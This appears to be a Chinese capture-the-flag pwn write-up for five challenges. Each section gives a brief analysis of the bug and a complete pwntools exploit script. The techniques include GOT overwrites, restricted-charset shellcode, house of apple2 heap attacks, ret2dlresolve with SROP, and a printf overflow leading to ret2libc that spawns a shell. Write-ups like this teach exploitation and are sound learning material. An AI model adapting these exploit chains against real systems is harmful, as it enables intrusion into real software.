好久没写题解了

Updated: f0rm@t?赛后复现

ez_canary#

client有5次连接同一server的机会

当输入不为1时，可以覆盖saved rbp和返回地址

然后用0x200的read把got.__stack_chk_fail写为空函数，就随便玩了

这里rbp刚刚好，没有破坏got.write

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './client'
7
elf = ELF('./server')
8
libc = ELF('../libc-2.31.so')
9

10
choice = 1
11
port =   13774
12
target = '60.205.163.215'
13
if choice:
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
io = p
19

20
def debug(cmd=''):
21
    if choice==1:
22
        return
23
    gdb.attach(p, gdbscript=cmd)
24

25

26
s       = lambda data               :p.send(data)
27
sl      = lambda data               :p.sendline(data)
28
sa      = lambda x,data             :p.sendafter(x, data)
29
sla     = lambda x,data             :p.sendlineafter(x, data)
30
r       = lambda num=4096           :p.recv(num)
31
rl      = lambda num=4096           :p.recvline(num)
32
ru      = lambda x                  :p.recvuntil(x)
33
itr     = lambda                    :p.interactive()
34
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
35
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
36
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
37
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
38

39
ru(b'functions?\n')
40
sl(b'2')
41
s(p64(0x404030+64) + p64(0x401451))
42

43
s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))
44

45
pause()
46

47
s(p64(0)*9 + p64(0x401893) + p64(elf.got['puts']) + p64(elf.plt['puts']))
48

49
ru(b'This is canary!\n')
50
ru(b'[Server]: ')
51
libc.address = uu64(r(6)) - libc.sym['puts']
52
leak('libc.address')
53

54
p.close()
55
if choice:
56
    p = remote(target, port)
57
else:
58
    p = process(file)
59

60
pause()
61

62
ru(b'functions?\n')
63
sl(b'2')
64
s(p64(0x404030+64) + p64(0x401451))
65

66
s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))
67

68
pause()
69

70
s(p64(0)*9 + p64(0x401894) + p64(0x401893) + p64(libc.search(b'/bin/sh\x00').__next__()) + p64(libc.sym['system']))
71

72
itr()

Old_5he1lc0de#

参考了一下quintuple-read的解法

需要用两种不同的字符集实现orw，且两次使用字节种类最多15

初始时只剩rdx和rip指向内存块的起点

第一次mov rbx, rdx，用rbx作为指针，目标代码和生成代码在同一个地方

用add byte ptr [rbx], 1对当前字节加一，add bl, 1将指针移动到下一位

解码完成后起始位置就是orw，jmp rdx即可

【使用了9种字节】

第二次用rdx作为指针，目标代码紧跟在生成代码后，无需跳转

用inc byte ptr [rdx]对当前字节加一，inc dl将指针移动到下一位

开始时add dx,0x2929，用无害指令将生成代码补齐

【使用了6种字节】

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './chal'
7
elf = ELF(file)
8

9
choice = 1
10
if choice:
11
    port =   19500
12
    target = '60.205.163.215'
13
    p = remote(target, port)
14
else:
15
    p = process(file)
16

17
io = p
18

19
def debug(cmd=''):
20
    if choice==1:
21
        return
22
    gdb.attach(p, gdbscript=cmd)
23

24

25
s       = lambda data               :p.send(data)
26
sl      = lambda data               :p.sendline(data)
27
sa      = lambda x,data             :p.sendafter(x, data)
28
sla     = lambda x,data             :p.sendlineafter(x, data)
29
r       = lambda num=4096           :p.recv(num)
30
rl      = lambda num=4096           :p.recvline(num)
31
ru      = lambda x                  :p.recvuntil(x)
32
itr     = lambda                    :p.interactive()
33
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
34
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
35
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
36
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
37

38
# debug('brva 0x0011ED')
39

40
# 无push+pop版本
41
shellcode = '''
42
    mov qword ptr [rdx+0x5000], 0x67616c66
43
    /* call open('rsp', 'O_RDONLY', 'rdx') */
44
    mov al, 2
45
    lea rdi, [rdx+0x5000]
46
    xor esi, esi /* O_RDONLY */
47
    syscall
48
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
49
    mov r10d, 0x7fffffff
50
    mov rsi, rax
51
    xor rax, rax
52
    mov al, 40
53
    xor rdi, rdi
54
    mov dil, 1
55
    cdq /* rdx=0 */
56
    syscall
57
'''
58
shellcode = asm(shellcode)
59

60
print(len(shellcode))
61

62
# s(shellcode)
63
# itr()
64
# exit(0)
65

66
STEP = asm('add bl, 1') # 80 c3 01
67
INC = asm('add byte ptr [rbx], 1') # 80 03 01
68

69
sc = bytearray(asm('mov rbx, rdx')) # 48 89 d3
70
generated = bytearray(asm('mov rbx, rdx'))
71

72
def inc(index):
73
    generated[index] = (generated[index] + 1) & 0xFF
74

75
i = 0
76
for byte in shellcode:
77
    while generated[i] != byte:
78
        inc(i)
79
        sc.extend(INC)
80
        generated.extend(INC)
81

82
    if i != len(shellcode) - 1:
83
        sc.extend(STEP)
84
        generated.extend(STEP)
85
    i += 1
86

87
sc.extend(asm('jmp rdx')) # ff e2
88

89
sla(b'2):', sc.hex())
90

91
pause()
92

93
STEP = asm('inc dl') # fe c2
94
INC = asm('inc byte ptr [rdx]') # fe 02
95

96
sc = bytearray(asm('add dx,0x2929')) # 66 81 c2 29 29
97
generated = bytearray(b'\x00'*0x3000)
98

99
def inc(index):
100
    generated[index] = (generated[index] + 1) & 0xFF
101

102
i = 0
103
for byte in shellcode:
104
    while generated[i] != byte:
105
        inc(i)
106
        sc.extend(INC)
107

108
    if i != len(shellcode) - 1:
109
        sc.extend(STEP)
110
    i += 1
111

112
sla(b'2):', (sc + (0x2929-len(sc))//2*STEP).hex())
113

114
itr()
115

116
# flag{1t_i5_Ha2d_r1ght?_029a3dbf-61d0-4e94-8863-da11296a0d04_NyPXKByB}

failed#

漏洞在add_note的size可以为负数或很大的数，且没有检查malloc是否成功

show_note中看似size为负数时write长度会为-1，无法正常输出

但实际上size为-1时长度为8，因为这里的条件赋值用的是cmovbe（below or equal，无符号）

于是可以绕过\0截断，泄露出heap地址

然后泄露libc基址

当size为很大的数（地址）时，malloc会失败，这样就可以在任意地方写一个\0

数字够大时，read不会尝试读取，但这里会读取，所以要输入一个数字+换行，否则之后的scanf会失败

打了一个常规的消除prev_inuse位+house of apple2，没有用到后门

如果知道程序基址的话，也能直接把user_logging改为0使用后门

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './admin'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
if choice:
12
    port =   23936
13
    target = '60.205.163.215'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
io = p
19

20
def debug(cmd=''):
21
    if choice==1:
22
        return
23
    gdb.attach(p, gdbscript=cmd)
24

25

26
s       = lambda data               :p.send(data)
27
sl      = lambda data               :p.sendline(data)
28
sa      = lambda x,data             :p.sendafter(x, data)
29
sla     = lambda x,data             :p.sendlineafter(x, data)
30
r       = lambda num=4096           :p.recv(num)
31
rl      = lambda num=4096           :p.recvline(num)
32
ru      = lambda x                  :p.recvuntil(x)
33
itr     = lambda                    :p.interactive()
34
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
35
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
36
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
37
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
38
n2b     = lambda x                  :str(x).encode()
39

40
registered = []
41

42
def menu(i):
43
    sla(b'> ', n2b(i))
44

45
def reg(x):
46
    menu(1)
47
    sla(b'User name: ', n2b(x))
48
    sla(b'Password: ', n2b(x))
49
    registered.append(x)
50

51
def login(x):
52
    menu(2)
53
    sla(b'User name: ', n2b(x))
54
    sla(b'Password: ', n2b(x))
55

56
def logout():
57
    menu(5)
58

59
def switch(i):
60
    if i not in registered:
61
        reg(i)
62
    login(i)
63

64
def add(i, size, content = b''):
65
    switch(i)
66
    menu(1)
67
    sla(b'Size: ', n2b(size))
68
    ru(b'Content: ')
69
    if content != b'':
70
        s(content)
71
    logout()
72

73
def edit(i, content):
74
    switch(i)
75
    menu(2)
76
    sa(b'Content: ', content)
77
    logout()
78

79
def show(i):
80
    switch(i)
81
    menu(3)
82
    ru(b'Content: ')
83
    content = r(8)
84
    logout()
85
    return content
86

87
def free(i):
88
    switch(i)
89
    menu(4)
90
    logout()
91

92

93
# debug('brva 0x002819')
94
add(10, -1)
95
free(10)
96
add(10, -1)
97
heap = uu64(show(10)[:6]) << 12
98
leak('heap')
99

100
for i in range(1, 10):
101
    reg(i)
102

103
add(1, 0x410, b'\x00')
104
add(2, 0x100, b'\x00')
105
free(1)
106
add(1, 0x410, b'\x00')
107

108
libc.address = uu64(show(1)[:6]) - 0x203b00
109
leak('libc.address')
110

111
add(3, 0x417, b'\x00')
112
add(4, 0x4f7, b'\x00')
113
add(5, 0x17, b'\x00')
114

115
edit(2, p64(heap + 0xc30)*2)
116
edit(3, p64(heap + 0xb20)*2+p64(0)*2*64+p32(0x420))
117

118
# debug('b free')
119
add(9, heap+0x1058, b'6\n')
120
free(4)
121
add(6, 0x107, b'\x00')
122
add(7, 0x107, b'\x00')
123
add(8, 0x107, b'\x00')
124

125
free(8)
126
free(6)
127
stdout = libc.sym['_IO_2_1_stdout_']
128
edit(3, p64((heap>>12) ^ stdout))
129
add(6, 0x107, b'\x00')
130

131
fake_io = flat(
132
    {
133
        0x0: b"  sh;",
134
        0x28: libc.sym['system'],
135
        0x88: heap,    # lock writable addr
136
        0xA0: stdout - 0x40,   # _wide_data
137
        0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
138
    },
139
    filler=b"\x00"
140
)
141

142
debug('brva 0x002819')
143

144
switch(8)
145
menu(1)
146
sla(b'Size: ', n2b(0x107))
147
ru(b'Content: ')
148
s(fake_io)
149

150
# debug()
151

152
itr()

Onlyfgets#

一开始写了一个ret2dl，把system解析到got.fgets上

这个脚本本地能通，但是docker和远程都不通

（不是patchelf的问题）

没搞清楚docker内的调试，花费了很多时间，仍然不知道问题

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './onlyfgets'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 0
11
# port =   8889
12
# target = '127.0.0.1'
13
port =   16538
14
target = '60.205.163.215'
15
if choice:
16
    p = remote(target, port)
17
else:
18
    # p = process(file)
19
    p = process(["./ld-linux-x86-64.so.2", "--library-path", "./", file])
20

21
io = p
22

23
def debug(cmd=''):
24
    if choice==1:
25
        return
26
    gdb.attach(p, gdbscript=cmd)
27

28
def get_pid(process_name):
29
    ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8')
30
    lines = ps_output.splitlines()
31
    for line in lines:
32
        if process_name in line:
33
            pid = line.split()[0]
34
            if pid.isdigit():
35
                return pid
36
    return None
37

38
def gdbremote(pid, name = 'n1j:onlyfgets', port = '10000', ip = '127.0.0.1'):
39
    os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"")
40
    os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"")
41

42
s       = lambda data               :p.send(data)
43
sl      = lambda data               :p.sendline(data)
44
sa      = lambda x,data             :p.sendafter(x, data)
45
sla     = lambda x,data             :p.sendlineafter(x, data)
46
r       = lambda num=4096           :p.recv(num)
47
rl      = lambda num=4096           :p.recvline(num)
48
ru      = lambda x                  :p.recvuntil(x)
49
itr     = lambda                    :p.interactive()
50
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
51
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
52
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
53
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
54

55
pause()
56

57
# debug('set follow-fork-mode parent\nb *0x4011F0')
58
# gdbremote(get_pid("onlyfgets"))
59

60
pause()
61

62
ropp = ROP(elf)
63
bss = elf.bss(0xb00)
64

65
ret2dl = Ret2dlresolvePayload(elf, 'system', [], 0x404b60, elf.got['fgets'])
66
ropp.ret2dlresolve(ret2dl)
67

68
payload = b'A'*32 + p64(bss) + p64(0x4011DD)
69
assert b'\x0a' not in payload
70
sl(payload)
71

72
pause()
73

74
payload = b'A'*32 + p64(bss-0x300) + p64(0x4011DD) + ret2dl.payload + b'sh\x00'
75
assert b'\x0a' not in payload
76
sl(payload)
77

78
pause()
79

80
payload = b'A'*32 + p64(bss+0x88-0x10)
81
payload += ropp.chain() + p64(0x4011DD)
82
assert b'\x0a' not in payload
83
sl(payload)
84

85
itr()

后来搜了一下，发现有原题…然后去学习了一下

大部分ELF都有__do_global_dtors_aux，对这条指令从中间进入可以解析为一个magic gadget

如果程序有__libc_csu_init，就可以轻易控制rbp和rbx，从而进行任意地址写，不过这里没有

这题特殊点在于fgets执行后，rdx会被设置为stdin的_flag (0xfbad208b)

同时有两个控制rbx的gadget

而libc中execve在alarm下方，ssignal下方有syscall <SYS_rt_sigreturn>

于是可以结合三个gadget，把got.alarm改为execve，got.signal改为syscall sigreturn

注意最后直接跳转到plt.signal，避免压入的返回地址对srop造成影响

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './patched'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11
# port =   8889
12
# target = '127.0.0.1'
13
port =   54556
14
target = '60.205.163.215'
15
if choice:
16
    p = remote(target, port)
17
else:
18
    p = process(file)
19
    # p = process(["/home/ctf/onlyfgets/ld-linux-x86-64.so.2", "--library-path", "/home/ctf/onlyfgets", "/home/ctf/onlyfgets/onlyfgets"])
20

21
io = p
22

23
def debug(cmd=''):
24
    if choice==1:
25
        return
26
    gdb.attach(p, gdbscript=cmd)
27

28
s       = lambda data               :p.send(data)
29
sl      = lambda data               :p.sendline(data)
30
sa      = lambda x,data             :p.sendafter(x, data)
31
sla     = lambda x,data             :p.sendlineafter(x, data)
32
r       = lambda num=4096           :p.recv(num)
33
rl      = lambda num=4096           :p.recvline(num)
34
ru      = lambda x                  :p.recvuntil(x)
35
itr     = lambda                    :p.interactive()
36
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
37
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
38
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
39
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
40

41
# debug('b *0x4011F0')
42

43
pause()
44

45
ret = 0x4011fd
46
pop_rdi_ret = 0x4011fc
47
pop_rbp_ret = 0x40114d
48
xor_rbx_ret = 0x4011FE
49
add_bl_dh_ret = 0x4010ae         # rbx ebx bx bh/bl | rdx edx dx dh/dl
50
add_rbp_3d_ebx_ret = 0x40114c
51

52
# rdx = 0xfbad208b | dh = 0x20
53
# rbx = 0 => 0xc0
54

55
# 0x73c31efcc540 <alarm>
56
# + 0xb40 = 0xc0*15
57
# 0x73c31efcd080 <execve>
58

59
payload = [b'\x00'*0x28]
60
payload += [add_bl_dh_ret]*6
61
payload += [pop_rbp_ret, elf.got['alarm']+0x3d]
62
payload += [add_rbp_3d_ebx_ret]*15
63
payload += [elf.sym['main']]
64

65
sl(flat(payload))
66
pause()
67

68
# rdx = 0xfbad208b | dh = 0x20
69
# rbx = 0 => 0x80
70

71
# 0x73c31ef24420 <ssignal>
72
# + 0x100 = 0x80*2
73
# 0x73c31ef24520  mov rax, 0xf
74
# 0x73c31ef24527  syscall <SYS_rt_sigreturn>
75

76
payload = [b'\x00'*0x28, xor_rbx_ret]
77
payload += [add_bl_dh_ret]*4
78
payload += [pop_rbp_ret, elf.got['signal']+0x3d]
79
payload += [add_rbp_3d_ebx_ret]*2
80
payload += [elf.sym['main']]
81

82
sl(flat(payload))
83
pause()
84
debug('b *0x4011F0')
85
bss = 0x404500
86

87
sl(flat(b'\x00'*0x20, bss-0x20, 0x4011DD))
88
pause()
89

90
frame = SigreturnFrame()
91
frame.rsp = bss
92
frame.rdi = 0x4044c0
93
frame.rip = 0x4011cd
94

95
payload = flat(b'/bin/sh\x00', b'\x00'*0x20, elf.plt['signal'], bytes(frame))
96
sl(payload)
97

98
itr()

f0rm@t? （赛后复现）#

应该先fuzz一下的，而不是通过静态分析直接看出漏洞

首先可以发现发送262个%p程序会正常结束，但发送263个%p会段错误

在printf结束处下断点，发现返回地址变成了栈上残留的一个libc函数地址

其实这是printf的参数表溢出，在合适地方放置参数就可以控制rbp和返回地址

（其实已经禁了%263$p，但没有禁止直接用很多%p推进，这个技巧还有一个很巧妙的作用…）

找到了一个附近的栈返回

而前面已经知道栈地址，能够控制rbp，现在只需一个1/16的爆破就可以让程序返回main

（一般栈上会留一个main地址）

刚刚的printf已经泄露出libc基址，直接ret2libc

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
# context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './chal'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 0
11
if choice:
12
    port =   0
13
    target = ''
14
    p = remote(target, port)
15
else:
16
    p = process(file, aslr=True)
17

18
io = p
19

20
def debug(cmd=''):
21
    if choice==1:
22
        return
23
    gdb.attach(p, gdbscript=cmd)
24

25

26
s       = lambda data               :p.send(data)
27
sl      = lambda data               :p.sendline(data)
28
sa      = lambda x,data             :p.sendafter(x, data)
29
sla     = lambda x,data             :p.sendlineafter(x, data)
30
r       = lambda num=4096           :p.recv(num)
31
rl      = lambda num=4096           :p.recvline(num)
32
ru      = lambda x                  :p.recvuntil(x)
33
itr     = lambda                    :p.interactive()
34
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
35
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
36
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
37
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
38

39
# debug('brva 0x0015D8')
40

41
ru(b'1 2 256 ')
42
stack = int(rl(), 16)
43
leak('stack')
44

45
payload = b'%p.'*263
46
payload = payload.ljust(8*(257-6), b'A')
47
payload += p64(stack+0x10c8-8)*6
48
payload += p16(0xf572)
49

50
ru(b'...\n> ')
51
s(payload)
52

53
libc.address = int(r(50).decode().split('.')[2], 16) - 0x11ba91
54
leak('libc.address')
55

56
payload = b'%p.'*265
57
payload = payload.ljust(8*(257-6), b'A')
58
payload += p64(stack+0x10c8-8)*6
59
payload += p64(libc.address + 0x10f78b)
60
payload += p64(libc.search(b'/bin/sh\x00').__next__())
61
payload += p64(libc.sym['system'])
62

63
ru(b'...\n> ')
64
s(payload)
65

66
itr()